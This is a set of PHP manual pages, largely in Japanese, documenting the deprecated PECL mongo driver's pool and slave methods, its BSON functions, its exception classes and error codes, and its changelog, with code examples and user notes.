Before a pool is created, you can change the max number of connections by calling Mongo::setPoolSize(). Once a pool is showing up in the output of this function, its size cannot be changed.

timeout

The socket timeout for connections in this pool. This is how long connections in this pool will attempt to connect to a server before giving up.

変更履歴

バージョン | 説明
PECL mongo 1.2.11 | Emits E_DEPRECATED when used.

User Contributed Notes

There are no user contributed notes for this page.


Set the size for future connection pools

  • ≪ Mongo::poolDebug
  • Mongo::setSlaveOkay ≫
  • PHP Manual
  • Mongo
  • Set the size for future connection pools

Mongo::setPoolSize

(PECL mongo >=1.2.0)

Mongo::setPoolSize — Set the size for future connection pools

説明

public static Mongo::setPoolSize ( int $size ) : bool
警告

This method has been DEPRECATED as of version 1.2.3. Relying on this feature is highly discouraged. Please use MongoPool::setSize() instead.

Sets the max number of connections new pools will be able to create.

パラメータ

size

The max number of connections future pools will be able to create. Negative numbers mean that the pool will spawn an infinite number of connections.

返り値

Returns the former value of pool size.

例

例1 Mongo::setPoolSize() example

If you set the pool size to n and then create n connections, attempting to create an n+1st connection will throw a MongoConnectionException.

<?php

// only allow one connection to a server
Mongo::setPoolSize(1);

// creates one connection to localhost:27017
$m1 = new Mongo();

// attempt to create a second connection to localhost:27017
// only one connection is allowed, so this will throw an exception
$m2 = new Mongo();

?>

上の例の出力は、 たとえば以下のようになります。

Fatal error: Uncaught exception 'MongoConnectionException' with message 'no more connections in pool' in /path/to/php/script.php:10
Stack trace:
#0 /path/to/php/script.php(10): Mongo->__construct()
#1 {main}
  thrown in /path/to/php/script.php on line 10

参考

  • Mongo::getPoolSize() - 接続プールのサイズを取得する
  • Mongo::poolDebug() - Returns information about all connection pools
  • The connection documentation.

User Contributed Notes

There are no user contributed notes for this page.


Change slaveOkay setting for this connection

  • ≪ Mongo::setPoolSize
  • Mongo::switchSlave ≫
  • PHP Manual
  • Mongo
  • Change slaveOkay setting for this connection

Mongo::setSlaveOkay

(PECL mongo >=1.1.0)

Mongo::setSlaveOkay — Change slaveOkay setting for this connection

説明

public Mongo::setSlaveOkay ( bool $ok = true ) : bool

See the query section of this manual for information on distributing reads to secondaries.

パラメータ

ok

If reads should be sent to secondary members of a replica set for all possible queries using this MongoClient instance.

返り値

Returns the former value of slaveOkay for this instance.

変更履歴

バージョン | 説明
PECL mongo 1.2.11 | Emits E_DEPRECATED when used.

参考

  • 優先読み込み
  • MongoClient::setReadPreference() - この接続の優先読み込みを設定する

User Contributed Notes

There are no user contributed notes for this page.


slaveOkay 読み込み用の新しいセカンダリを選ぶ

  • ≪ Mongo::setSlaveOkay
  • Mongo 関数 ≫
  • PHP Manual
  • Mongo
  • slaveOkay 読み込み用の新しいセカンダリを選ぶ

Mongo::switchSlave

(PECL mongo >=1.1.0)

Mongo::switchSlave — slaveOkay 読み込み用の新しいセカンダリを選ぶ

説明

public Mongo::switchSlave ( ) : string

これは、読み込み用に使う新しいセカンダリをランダムに選びます。 ドライバから自動的にコールされるので、このメソッドを使う必要はありません。このメソッドは Mongo::getHosts() (ホストの状態を更新) および Mongo::getSlave() (返り値を取得) をコールします。

読み込みのセカンダリへの分散についての情報は、このマニュアルの 問い合わせの節 を参照ください。

パラメータ

この関数にはパラメータはありません。

返り値

この接続が読み込みに使っているセカンダリのアドレスを返します。 アドレスはランダムに選ばれるので、前と同じアドレスになることもあります。 稼働中のセカンダリが 1 台だけ (あるいはプライマリだけ) の場合はひとつのアドレスしか返しません。

たとえば、プライマリ・セカンダリ・アービター (調停者) の 3 台からなるレプリカセットの場合、 このメソッドは常にセカンダリのアドレスを返します。セカンダリがダウンしているときは、 このメソッドは常にプライマリのアドレスを返します。プライマリもダウンしたときは このメソッドは例外をスローします。アービターが読み込みを処理できないからです。

エラー / 例外

レプリカセットでない接続に対してコールした場合は MongoException (エラーコード 15) をスローします。 読み込み先 (プライマリあるいはセカンダリ) が見つからない場合は MongoException (エラーコード 16) をスローします。

変更履歴

バージョン | 説明
PECL mongo 1.2.11 | E_DEPRECATED を発行するようになりました。

参考

  • 優先読み込み

User Contributed Notes

There are no user contributed notes for this page.


Mongo 関数

目次

  • bson_decode — BSON オブジェクトを PHP の配列に復元する
  • bson_encode — PHP の変数を BSON 文字列に変換する

User Contributed Notes

There are no user contributed notes for this page.


BSON オブジェクトを PHP の配列に復元する

  • ≪ Mongo 関数
  • bson_encode ≫
  • PHP Manual
  • Mongo 関数
  • BSON オブジェクトを PHP の配列に復元する

bson_decode

(PECL mongo >=1.0.1)

bson_decode — BSON オブジェクトを PHP の配列に復元する

説明

bson_decode ( string $bson ) : array

この関数はまさにベータ版であり、99% のユーザーにとっては使い道のないものです。 この関数を使うとすれば、PHP ドライバ上でさらに自前のドライバを書くなど よっぽど変わったことをしている人だけです。

パラメータ

bson

復元したい BSON。

返り値

BSON オブジェクトを復元したものを返します。

User Contributed Notes

There are no user contributed notes for this page.


PHP の変数を BSON 文字列に変換する

  • ≪ bson_decode
  • 例外 ≫
  • PHP Manual
  • Mongo 関数
  • PHP の変数を BSON 文字列に変換する

bson_encode

(PECL mongo >=1.0.1)

bson_encode — PHP の変数を BSON 文字列に変換する

説明

bson_encode ( mixed $anything ) : string

この関数はまさにベータ版であり、99% のユーザーにとっては使い道のないものです。 この関数を使うとすれば、PHP ドライバ上でさらに自前のドライバを書くなど よっぽど変わったことをしている人だけです。

パラメータ

anything

変換したい変数。

返り値

変換した文字列を返します。

User Contributed Notes

There are no user contributed notes for this page.


例外

目次

  • MongoException
  • MongoResultException
  • MongoCursorException
  • MongoCursorTimeoutException
  • MongoConnectionException
  • MongoGridFSException
  • MongoDuplicateKeyException
  • MongoProtocolException
  • MongoExecutionTimeoutException
  • MongoWriteConcernException

VMWare のふしぎ

Windows 上で VMWare を動かして CIFS を使っているときに VM を一時停止すると CIFS が同期されなくなってしまい、停止から復帰するときに不可解なエラー ("The Mongo object has not been correctly initialized by its constructor") が発生します。 Windows 共有を常にマウントさせるようにするとこの問題は発生せず、 自由に一時停止・再開をすることができます。

Windows 共有を常にマウントさせるには、次のコマンドを実行します。

$ sudo update-rc.d -f umountnfs.sh remove
$ sudo update-rc.d umountnfs.sh stop 15 0 6 .

最新情報については、 » Ubuntu のドキュメント を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


MongoException クラス

(PECL mongo >= 1.0.0)

はじめに

Mongo のデフォルトの例外です。

さまざまなエラー条件を扱います。最終的にはより詳細な例外にたどり着きますが、 それらもすべて MongoException を継承しています。

  • The MongoSomething object has not been correctly initialized by its constructor

    コード: 0

    おそらく、Mongo オブジェクトがデータベースに接続していないものと思われます。

  • zero-length keys are not allowed, did you use $ with double quotes?

    コード: 1

    キーとして "" を使おうとしました。一般的に、これはしていはいけないことです。 "" を使うとサブオブジェクトへのアクセスが煩雑になり、またこのキーは MongoDB が内部的に使ってもいます。しかし、どうしても使いたい場合は、php.ini ファイルで mongo.allow_empty_keys に true を設定すればこのチェックを回避できます。 回避するよう設定した場合は、エラーチェックをより厳密に行って 文字列書き込みエラーを防ぐことを推奨します。

  • '.' not allowed in key: <key>

    コード: 2

    '.' を含むキーに書き込もうとしました。これは禁じられています。

  • insert too large: <size>, max: <max>

    コード: 3

    長すぎるデータをデータベースに一度に送ろうとしました。データベースがデータの追加を受け付けるのは、 ある特定の大きさ (現在は 16 MB) までです。

  • no elements in doc

    コード: 4

    フィールドを持たないドキュメントを保存しようとしました。

  • size of BSON doc is <size> bytes, max <max>MB

    コード: 5

    MongoDB で保存可能な長さを超えるドキュメントを保存しようとしました。

  • no documents given

    コード: 6

    空のドキュメントの配列を一括追加しようとしました。

  • MongoCollection::group takes an array, object, or MongoCode key

    コード: 7

    間違った型パラメータを MongoCollection::group() に送信しました。

  • field names must be strings

    コード: 8

    フィールドセレクタの書式は array("field1" => 1, "field2" => 1, ..., "fieldN" => 1) としなければなりません。

  • invalid regex

    コード: 9

    MongoRegex に渡した正規表現が正しい形式ではありません。

  • MongoDBRef::get: $ref field must be a string

    コード: 10

  • MongoDBRef::get: $db field must be a string

    コード: 11

  • non-utf8 string: <str>

    コード: 12

    このエラーが発生するのは、非 utf8 文字列をデータベースに送信しようとしたときです。 データベースに送る文字列はすべて UTF8 でなければなりません。 この例外を発生させなくする移行用オプションは、php.ini のオプションを参照ください。

  • mutex error: <err>

    コード: 13

    マルチスレッド環境では、ドライバはリクエストとレスポンスの同期にミューテックスを使います。 これはきわめて深刻なエラーで、スタックトレースもないかもしれません。 めったに発生しないエラーなので、システムの情報と可能な限りの再現手順を添えてメンテナに報告しましょう。

  • index name too long: <len>, max <max> characters

    コード: 14

    128 文字を超える名前のインデックスは作れません。このエラーが発生した場合は、 MongoCollection::ensureIndex() の "name" オプションを使って短いインデックス名をつけなければなりません。

クラス概要

MongoException extends Exception {
}

User Contributed Notes

janis dot peisenieks at gmail dot com 05-Aug-2014 10:44
In case of "zero-length keys are not allowed, did you use $ with double quotes?" error, checking the saved data for objects with private/protected variables can solve the problem.

It seems, that the PECL extension currently does not support private/protected variables, thus making their keys empty strings. A simple, yet not allways desirable, solution is to make these variables public.

Example:
<?php
class Example
{
    private $value;
    protected $output;
}
?>php
will throw an exception.

<?php
class Example
{
    public $value;
    public $output;
}
?>php
Will not throw an exception


MongoResultException クラス

(PECL mongo >=1.3.0)

はじめに

MongoResultException は (MongoCollection::findAndModify() など) いくつかのコマンドヘルパーで、失敗した場合にスローする例外です。 元の結果ドキュメントは MongoResultException::getDocument() で取得できます。

クラス概要

MongoResultException extends MongoException {
/* プロパティ */
public $document ;
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* メソッド */
public getDocument ( ) : array
}

プロパティ

document

生の結果ドキュメントの配列。

目次

  • MongoResultException::getDocument — 結果ドキュメントを取得する

User Contributed Notes

There are no user contributed notes for this page.


結果ドキュメントを取得する

  • ≪ MongoResultException
  • MongoCursorException ≫
  • PHP Manual
  • MongoResultException
  • 結果ドキュメントを取得する

MongoResultException::getDocument

(PECL mongo >=1.3.0)

MongoResultException::getDocument — 結果ドキュメントを取得する

説明

public MongoResultException::getDocument ( ) : array

すべてのエラー結果ドキュメントを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

すべての結果ドキュメントを配列で返します。部分的なデータや追加のキーがあれば、それも含まれます。

例

例1 MongoResultException::getDocument() の例

<?php
$mc = new MongoClient("localhost");
$c = $mc->selectCollection("test", "test");

$c->insert(array(
     "name" => "Next promo",
     "inprogress" => false,
     "priority" => 0,
     "tasks" => array( "select product", "add inventory", "do placement"),
) );

$c->insert(array(
     "name" => "Biz report",
     "inprogress" => false,
     "priority" => 1,
     "tasks" => array( "run sales report", "email report" )
) );

$c->insert(array(
     "name" => "Biz report",
     "inprogress" => false,
     "priority" => 2,
     "tasks" => array( "run marketing report", "email report" )
    ),
    array("w" => true)
);

try {
    $retval = $c->findAndModify(
         array("inprogress" => false, "name" => "Biz report"),
         array('$set' => array('$set' => array('inprogress' => true, "started" => new MongoDate()))),
         null,
         array(
            "sort" => array("priority" => -1),
            "new" => true,
        )
    );
} catch(MongoResultException $e) {
    echo $e->getMessage(), "\n";
    $res = $e->getDocument();
    var_dump($res);
}
?>

上の例の出力は、 たとえば以下のようになります。

$set is not valid for storage.
array(3) {
  ["lastErrorObject"]=>
  array(5) {
    ["connectionId"]=>
    int(6)
    ["err"]=>
    string(30) "$set is not valid for storage."
    ["code"]=>
    int(52)
    ["n"]=>
    int(0)
    ["ok"]=>
    float(1)
  }
  ["ok"]=>
  float(0)
  ["errmsg"]=>
  string(30) "$set is not valid for storage."
}

User Contributed Notes

There are no user contributed notes for this page.


MongoCursorException クラス

(PECL mongo >= 1.0.0)

はじめに

カーソルへの不正なアクセスや応答を受け取る際のエラーが原因です。 このエラーが発生するのは、単なるクエリではなく結果を受け取るリクエストであることに注意しましょう。 書き込みやコマンド、あるいはその他何らかの情報をデータベースに送って結果を待つ操作では MongoCursorException をスローすることがあります。 唯一の例外は new MongoClient() (新しい接続の作成) で、これは MongoConnectionException しかスローしません。

このクラスはエラーメッセージを返します。 このメッセージを見れば、問題の調査の助けになり、 エラーコードに関連付けられた原因もわかります。

たとえば、次のように同じ _id のドキュメントを 2 件追加してみましょう。

<?php

try {
    $collection->insert(array("_id" => 1), array("w" => 1));
    $collection->insert(array("_id" => 1), array("w" => 1));
}
catch (MongoCursorException $e) {
    echo "error message: ".$e->getMessage()."\n";
    echo "error code: ".$e->getCode()."\n";
}

?>
結果はこのようになります。
error message: E11000 duplicate key error index: foo.bar.$_id_  dup key: { : 1 }
error code: 11000
MongoDB のエラーコード (11000) が PHP のエラーコードとして使われていることに注目しましょう。 PHP のドライバは、可能な限り「ネイティブの」エラーコードを使います。

よくあるエラーとそのコード、そして原因をまとめました。

  • cannot modify cursor after beginning iteration

    コード: 0

    クエリを実行した後で、クエリの設定を変えるメソッドをコールしました。 いったんカーソルをリセットしてからやりなおしてください。

    An example:

    <?php

    try {
            $cursor = $collection->find();
            var_dump($cursor->getNext());

            // getNext() でクエリを実行しているので、ここでリミットを指定しても遅すぎます
            $cursor->limit(1);
    }
    catch (    MongoCursorException $e) {
        echo     "error message: ".$e->getMessage()."\n";
        echo     "error code: ".$e->getCode()."\n";
    }

    // こうすれば、正しく動作します
    $cursor->getNext();
    $cursor->reset();
    $cursor->limit(1);

    ?>

  • Get next batch send errors

    コード: 1

    クエリをデータベースに送信できませんでした。 データベースが立ち上がっていることとネットワークが正常であることを確認してください。

  • cursor not found

    コード: 2

    ドライバがデータベースから結果を取得しようとしましたが、 データベース側にクエリが残っていませんでした。 たいていは、カーソルがサーバー側でタイムアウトしたことを意味します。 やりとりがない状況が数秒続くと、データベースはカーソルを消します (これを防ぐための方法は MongoCursor::immortal() を参照ください)。

    例を示します。

    <?php

    try {
            $cursor = $collection->find();
            $cursor->getNext();

            // 15 分間スリープします
            sleep(60*15);

        while (    $cursor->hasNext()) {
                $cursor->getNext();
        }
    }
    catch (    MongoCursorException $e) {
        echo     "error message: ".$e->getMessage()."\n";
        echo     "error code: ".$e->getCode()."\n";
    }

    ?>

  • cursor->buf.pos is null

    コード: 3

    これは、RAM から外れてしまったか、 その他の異常な状況になったことを意味します。

  • couldn't get response header

    コード: 4

    データベースあるいはネットワークがダウンしているときによく出るエラーです。 ドライバが接続からの応答を受け取れなかったことを意味します。

  • no db response

    コード: 5

    これはエラーではないかもしれません。たとえば、データベースの "shutdown" コマンドは何も応答を返しません。 しかし、もし何らかの応答を得ることを期待していたのにこのエラーになったのなら、 データベースがその応答を返さなかったことを意味します。

  • bad response length: %d, did the db assert?

    コード: 6

    これは、データベースの応答が 0 未満であることを意味します。 このエラーの原因は、おそらくネットワーク障害かデータベースの破損です。

  • incomplete header

    コード: 7

    めったにありませんが、 データベースの応答が正常にはじまったけれど途中で終わってしまった場合に発生します。 おそらくネットワークの問題でしょう。

  • incomplete response

    コード: 8

    めったにありませんが、 データベースの応答が正常にはじまったけれど途中で終わってしまった場合に発生します。 おそらくネットワークの問題でしょう。

  • couldn't find a response

    コード: 9

    キャッシュされていたレスポンスが見つけられませんでした。

  • error getting socket

    コード: 10

    ソケットが閉じられたか、エラーが発生しました。 ドライバは、(もし可能なら) 次の操作時に自動的に再接続しなければなりません。

  • couldn't find reply, please try again

    コード: 11

    ドライバは、リクエストに直接はマッチしないデータベースからの応答を保存します。 この例外が発生するのは、ドライバがすでにリクエストに対する応答を返した後で、 キャッシュ内に応答を見つけられなかったときです。

  • error getting database response: errstr

    WSA error getting database response: errstr

    "errstr" は、C のソケットから直接返ってきた入出力エラーです。 Windows では、エラーメッセージの先頭に "WSA" がつきます。

  • Timeout error

    コード: 13

    クエリが完了するのを待つ間に何かエラーが発生しました。

  • couldn't send query: <various>

    コード: 14

    送信時に C のソケットエラーが発生しました。

  • max number of retries exhausted, couldn't send query

    Code: 19

    最初の実行が何らかの原因で失敗したときに、ドライバは自動的に 「プレーンな」クエリ (コマンドではないもの) を何度か再送します。 これは、レプリカセットのフェイルオーバー時の例外の発生を減らし (それでも少しは発生しますが)、 一時的なネットワーク障害を取り繕うためです。

    これは、何度実行しても結局データベースに再接続できなかったとき (たとえば、データベースにつながらないときなど) に発生します。

    バージョン 1.2.2 で追加されました。

データベースから渡されたエラー

クエリの実行時に発生したデータベースのエラーは、常に MongoCursorExceptions を発生させなければなりません。 エラーメッセージとエラーコードはデータベースから直接送られるので、 対応するエラーをデータベースのログから見つけることができます。

一般的なデータベースエラーをいくつかまとめました。

  • E11000 duplicate key error index: foo.bar.$X dup key: { /* ... */ }

    コード: 11000

    キーが重複しているときのデータベースエラーです。

  • not master

    コード: 10107, 13435 および 10058

    プライマリではないというエラーで、データベースから送られてきます。 これらのエラーが発生するとドライバは接続を切断し、 新しいプライマリを探します。フェイルオーバーの際に実際に取得するエラーは "not master" ではないかもしれません。 これは、プライマリの変更がいつ発生したのかに依存します。

クラス概要

MongoCursorException extends MongoException {
}

目次

  • MongoCursorException::getHost — エラーが発生したサーバーのホスト名を取得する

User Contributed Notes

Loc d&#39;Anterroches 18-Apr-2011 05:45
As all the exceptions are extending the base Exception class, you can get the code with the getCode() method:

<?php
try {
    $collection->insert($duplicate_document, array('safe' => true));
} catch (MongoCursorException $e) {
    printf("Error code is %d.\n", $e->getCode();
    exit(1);
}


エラーが発生したサーバーのホスト名を取得する

  • ≪ MongoCursorException
  • MongoCursorTimeoutException ≫
  • PHP Manual
  • MongoCursorException
  • エラーが発生したサーバーのホスト名を取得する

MongoCursorException::getHost

(PECL mongo >= 1.0.0)

MongoCursorException::getHost — エラーが発生したサーバーのホスト名を取得する

説明

public MongoCursorException::getHost ( ) : string

クエリの送信先サーバーのホスト名を返します。

パラメータ

この関数にはパラメータはありません。

返り値

ホスト名を返します。ホスト名が不明な場合は NULL を返します。

User Contributed Notes

There are no user contributed notes for this page.


MongoCursorTimeoutException クラス

(PECL mongo >= 1.0.0)

はじめに

クエリのタイムアウトで発生します。 この例外がスローされるようになるまでの時間の長さを設定することができます。 そのためには、MongoCursor::timeout() をカーソルで実行するか、 あるいは MongoCursor::$timeout を設定します。 静的変数を設定する方法は、データベースコマンドや MongoCollection::findOne() のようなクエリで便利です。 これらはどちらもカーソルの内部で暗黙的に使うからです。

クラス概要

MongoCursorTimeoutException extends MongoCursorException {
}

User Contributed Notes

There are no user contributed notes for this page.


MongoConnectionException クラス

(PECL mongo >= 1.0.0)

はじめに

ドライバがデータベースへの接続に失敗した場合にスローします。

エラーメッセージにはさまざまなものがあり、 接続時にどんな問題が発生したのかを調べるために役立ちます。 以下にエラーメッセージの例を示します。

  • No candidate servers found

    MongoDB への接続の確立 (優先読み込みを指定している場合はそれを反映したもの) ができなかった場合に発生します。

  • No server name given.

    このエラーが発生するのは、サーバー名に "" を渡した場合です。 考えられる原因は、文字列中での変数展開用の変数の書き間違い (たとえば "$server" とすべきところを "$servr" にした) などです。

  • failed to get host [hostname] or port [portnum] from [server].

    このエラーがあらわすのは、サーバー文字列が不正な形式であるということです。 "[hostname]" および "[portnum]" の部分が、 ドライバがなんとかそれを判読した結果を示しています。

  • Operation in progress

    データベースへの接続がタイムアウトしました。

  • Transport endpoint is not connected

    一般的には、接続文字列が間違っていて ドライバがデータベースサーバーを見つけられなかったことを意味します。

  • couldn't determine master

    レプリカセット接続の中に、プライマリなサーバーがありません。

  • couldn't get host info for [server]

    これがあらわすのは、指定したサーバーアドレスを DNS が解決できなかったということです。 打ち間違い ("$server" と書くべきところを "server" とするなど) があると容易にこのエラーが発生します。

  • Invalid Argument

    これは、マシン自体は立ち上がっているもののデータベースは稼動していないマシンに接続しようとした場合などに発生します。 接続前に、データベースサーバーが起動しているかどうか確認しておきましょう。

  • Permission denied

    権限に関する問題があってソケットをオープンできなかったことをあらわします。 Red Hat 系の OS のデフォルト設定では Apache からネットワーク接続を作成できないようになっているので、 デフォルトでこれが発生します。この設定を書き換えるには、

    $ /usr/sbin/setsebool -P httpd_can_network_connect 1
    を実行してから Apache を再起動します。

これら以外のメッセージが出た場合、おそらくそれは C のソケットからのエラーです。 主な原因についてはウェブを検索して調べましょう。

クラス概要

MongoConnectionException extends MongoException {
}

User Contributed Notes

jefffan24+phpcomment at gmail dot com 07-Mar-2013 04:31
If you have MongoClient class available and use persist option you will have a bad time and get a MongoConnectionException

For example if you have:

<?php
$options = array(
            'replicaSet' => false,
            'persist' => false,
            'connect' => false
        );
return new \Mongo('mongodb://...', $options);
?>

This will not work if you have the mongo client class a better way to handle this if your not sure what is on the server this code is running on is the following:

<?php
$options = array(
            'replicaSet' => false,
            'connect' => false
        );
        if(!class_exists('MongoClient')){
            $options['persist'] = false;
        }
        return new \Mongo('mongodb:/...', $options);
?>

This will only add it in the case where MongoClient doesn't exist and it needs it.  Hope this saves anyone some heart ache.


MongoGridFSException クラス

(PECL mongo >= 1.0.0)

はじめに

データベースのファイルの読み書きでエラーが発生した場合にスローします。

クラス概要

MongoGridFSException extends MongoException {
}

エラーコード

MongoGridFSException のエラーコード
コード | メッセージ | 原因
3 | Could not open file $filename | 無効なファイル、たとえばディレクトリなどを格納しようとしました。
4 | File $filename is too large: $filesize bytes | GridFS の最大ファイルサイズは 4GB です。
5 | could not find filehandle | リソースがファイルハンドルを持っていません。
6 | no file is associate with this filehandle | ファイルリソースではありません。
7 | error setting up file: $filenames | ファイルを読み込み用にオープンできません。
9 | error reading file $filenames | ファイルの読み込みに失敗しました。
10 | error reading filehandle | リソースからの読み込みに失敗しました。
11 | could not find uploaded file %s | ファイル名が、アップロードされたファイルではないようです。
12 | Couldn't find tmp_name in the $_FILES array. Are you sure the upload worked? | ファイルのアップロードに失敗したようです。
13 | tmp_name was not a string or an array | 無効なファイル名が渡されました。
14 | couldn't find file size | length プロパティがありません。
15 | Cannot find filename | ファイル名が指定されておらず、filename プロパティも設定されていません。
16 | could not open destination file %s | 対象ファイルに書き込めません。
17 | error reading chunk of file | チャンクが壊れています。
18 | couldn't create a php_stream | ストリームリソースを作れません。
19 | couldn't find property | チャンクが壊れています。
20 | chunk number has wrong size (size) when the max is maxchunksize | チャンクが予想より大きすぎます。
21 | chunk has wrong format | チャンクが壊れています。

User Contributed Notes

There are no user contributed notes for this page.


The MongoDuplicateKeyException class

(PECL mongo >= 1.5.0)

はじめに

Thrown when attempting to insert a document into a collection which already contains the same values for the unique keys.

クラス概要

MongoDuplicateKeyException extends MongoWriteConcernException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
public MongoWriteConcernException::getDocument ( ) : array
}

例

例1 Catching MongoDuplicateKeyException

<?php
$mc = new MongoClient("localhost");

$c = $mc->selectCollection("test", "test");

$c->insert(array('_id' => 1));
try {
    $c->insert(array('_id' => 1));
} catch (MongoWriteConcernException $e) {
    echo $e->getMessage(), "\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

localhost:27017: insertDocument :: caused by :: 11000 E11000 duplicate key error index: test.test.$_id_  dup key: { : 1 }

User Contributed Notes

sarahjay dot wth at gmail dot com 16-Aug-2018 05:33
Multiplication:

<!DOCTYPE html>
<html>
<body>

<?php
$x = 10;
$y = 6;

echo $x * $y;
?>

</body>
</html>

See More details on: http://bizmaa.com
fastest963 at gmail dot com 30-May-2014 07:08
Not sure about earlier versions but this definitely exists in pecl mongo 1.2.10.


The MongoProtocolException class

(PECL mongo >= 1.5.0)

はじめに

When talking to MongoDB 2.6.0, and later, certain operations (such as writes) may throw MongoProtocolException when the response from the server did not make sense - for example during network failure (we could read the entire response) or data corruption.

This exception is also thrown when attempting to talk newer protocols then the server supports, for example using the MongoWriteBatch when talking to a MongoDB server prior to 2.6.0.

クラス概要

MongoProtocolException extends MongoException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
}

例

例1 Catching MongoProtocolException

Running the following example against MongoDB prior to 2.6.0 will throw an MongoProtocolException

<?php
$mc = new MongoClient("localhost");
$c = $mc->selectCollection("test", "test");

try {
    $batch = new MongoInsertBatch($c);
} catch(MongoProtocolException $e) {
    echo $e->getMessage();
}
?>

上の例の出力は、 たとえば以下のようになります。

Current primary does not have a Write API

User Contributed Notes

There are no user contributed notes for this page.


The MongoExecutionTimeoutException class

(PECL mongo >= 1.5.0)

はじめに

Thrown when a operation times out server side (i.e. in MongoDB).

To configure the operation timeout threshold, use MongoCursor::maxTimeMS() or the "maxTimeMS" command option.

クラス概要

MongoExecutionTimeoutException extends MongoException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoWriteConcernException class

(PECL mongo >= 1.5.0)

はじめに

MongoWriteConcernException is thrown when a write fails. See Write Concerns for how to set failure thresholds.

Prior to MongoDB 2.6.0, the » getLastError command would determine whether a write failed.

クラス概要

MongoWriteConcernException extends MongoCursorException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* メソッド */
public getDocument ( ) : array
/* 継承したメソッド */
public MongoCursorException::getHost ( ) : string
}

目次

  • MongoWriteConcernException::getDocument — Get the error document

User Contributed Notes

There are no user contributed notes for this page.


Get the error document

  • ≪ MongoWriteConcernException
  • 変更履歴 ≫
  • PHP Manual
  • MongoWriteConcernException
  • Get the error document

MongoWriteConcernException::getDocument

(PECL mongo >= 1.5.0)

MongoWriteConcernException::getDocument — Get the error document

説明

public MongoWriteConcernException::getDocument ( ) : array

Returns the actual response from the server that was interperated as an error.

パラメータ

この関数にはパラメータはありません。

返り値

A MongoDB document, if available, as an array.

User Contributed Notes

There are no user contributed notes for this page.


変更履歴

この拡張モジュールのクラス/関数/メソッドには次のような変更がありました。

MongoDB PHP Driver 1.5.0

MongoDB 2.6 の新機能に対応しました。たとえば以下のようなものです。

  • 集約が、カーソルを返せるようになりました。
  • 集約パイプラインの explain が可能になりました。
  • コマンドやクエリに、maxTimeMS を設定できるようになりました。
  • コマンドベースの新しい MongoDB 書き込み API を、透過的にサポートしました。
  • MongoWriteBatch クラスが追加されました (新しい MongoDB 書き込み API を利用します)。
  • MongoDB Enterprise の機能 (Kerberos, LDAP, X509 など) に対応しました。
  • セカンダリからの読み込みで、受け入れ可能なレイテンシーを調整できるようになりました (secondaryAcceptableLatencyMS)。

このリリースでは、ドキュメントで非推奨とされていた機能のいくつかについて、 実際に非推奨のメッセージを出すようになりました。たとえば、以下のような機能がその対象です。

  • Mongo クラスのインスタンス作成
  • MongoCursor::slaveOkay() の呼び出し
  • MongoCollection の書き込み操作における "wtimeout" オプションおよび "safe" オプション
  • コアクラスの public プロパティの操作 ($collection->w など)

注意:

非推奨とされていた機能の中で、実際に削除されたものは、まだありません。

以下の挙動が、変わりました。

  • INI 項目 mongo.native_long を設定すると、32 ビットプラットフォームではエラーとなります。また、64 ビットプラットフォームでのデフォルトが true になりました。

MongoDB PHP Driver 1.4.0

1.4 系では、MongoDB サーバーへの接続を確立する方法が根本的に変わりました。 PHP ネイティブストリームを使うようになったので、PHP のストリームのオプションがすべて使えます。 さらに、実験的に、ストリームコンテキストのサポートも追加されました。

1.4.x 系ではまた、MongoDB 2.4.x のサポートも追加されています。

特筆すべき改良点はレプリカセットの処理で、中でも、 タイムアウトしたノードやさまざまな要員で到達できないノードの扱いが改善されました。 それ以外にも、ノード間での書き込み確認の問題にも対応しています。 また、SSL を使った接続にも対応し、接続文字列のオプションとして journal や fsync にも対応しました。

MongoDB PHP Driver 1.3.0

1.3 系では大きな変更が加わりました。 接続処理 が新しく書き直され (同時にプーリングが削除され) たり、 優先読み込み に対応したり、デフォルトの WriteConcerns が確認付きになったりしました。新しく導入されたクラス MongoClient がこれらを扱います。 これは、非推奨になった Mongo クラスのかわりに使うものです。

また、複数の mongos インスタンス (Mongo Shard ルーター) に接続してロードバランシングができるようになりました。

その他の追加機能には、MongoLog のログ機能の改良 (接続処理のデバッグがしやすくなりました) や MongoCollection::aggregate() メソッドによる » Aggregation Framework のサポートなどがあります。

既存のメソッドへの変更

既存のメソッドの中で、初期のバージョンから改良が加えられたものをまとめます。

Version | Function | Description
PECL mongo 1.7.0 | MongoDB::execute | このメソッドは非推奨になりました。内部で使っている eval コマンドが、MongoDB 3.0 以降で非推奨になったためです。
PECL mongo 1.6.0 | MongoClient::__construct | Added support for "SCRAM-SHA-1" in "authMechanism" option.
 | MongoCollection::count | 二番目のパラメータが配列 options に変わりました。 limit や skip を二番目、三番目のパラメータとして渡す方法は、非推奨になりました。
 | MongoDB::getCollectionNames | 最初のパラメータがオプションの配列に変わりました。以前のバージョンでは最初のパラメータは boolean で、 "includeSystemCollections" オプションの値を指定するものでした。
 | MongoDB::listCollections | 最初のパラメータがオプションの配列に変わりました。以前のバージョンでは最初のパラメータは boolean で、 "includeSystemCollections" オプションの値を指定するものでした。
PECL mongo 1.5.0 | log_cmd_delete | Only available when connected to MongoDB 2.6.0+
 | log_cmd_insert | Only available when connected to MongoDB 2.6.0+
 | log_cmd_update | Only available when connected to MongoDB 2.6.0+
 | log_write_batch | Only available when connected to MongoDB 2.6.0+
 | MongoBinData::__construct | The default changed from 2 (MongoBinData::BYTE_ARRAY) to 0 (MongoBinData::GENERIC).
 | MongoClient::__construct | Added "authMechanism", "gssapiServiceName", and "secondaryAcceptableLatencyMS".
 | MongoClient::__construct | Added "authSource".
 | MongoCollection::aggregate | オプションの引数 options が追加されました。
 | MongoCollection::batchInsert | "wTimeoutMS" オプションが追加されました。これは "wtimeout" を置き換えるものです。 "wtimeout" を使うと E_DEPRECATED が発生します。 "socketTimeoutMS" オプションが追加されました。これは "timeout" を置き換えるものです。 "timeout" を使うと E_DEPRECATED が発生します。 "safe" を使うと E_DEPRECATED が発生します。
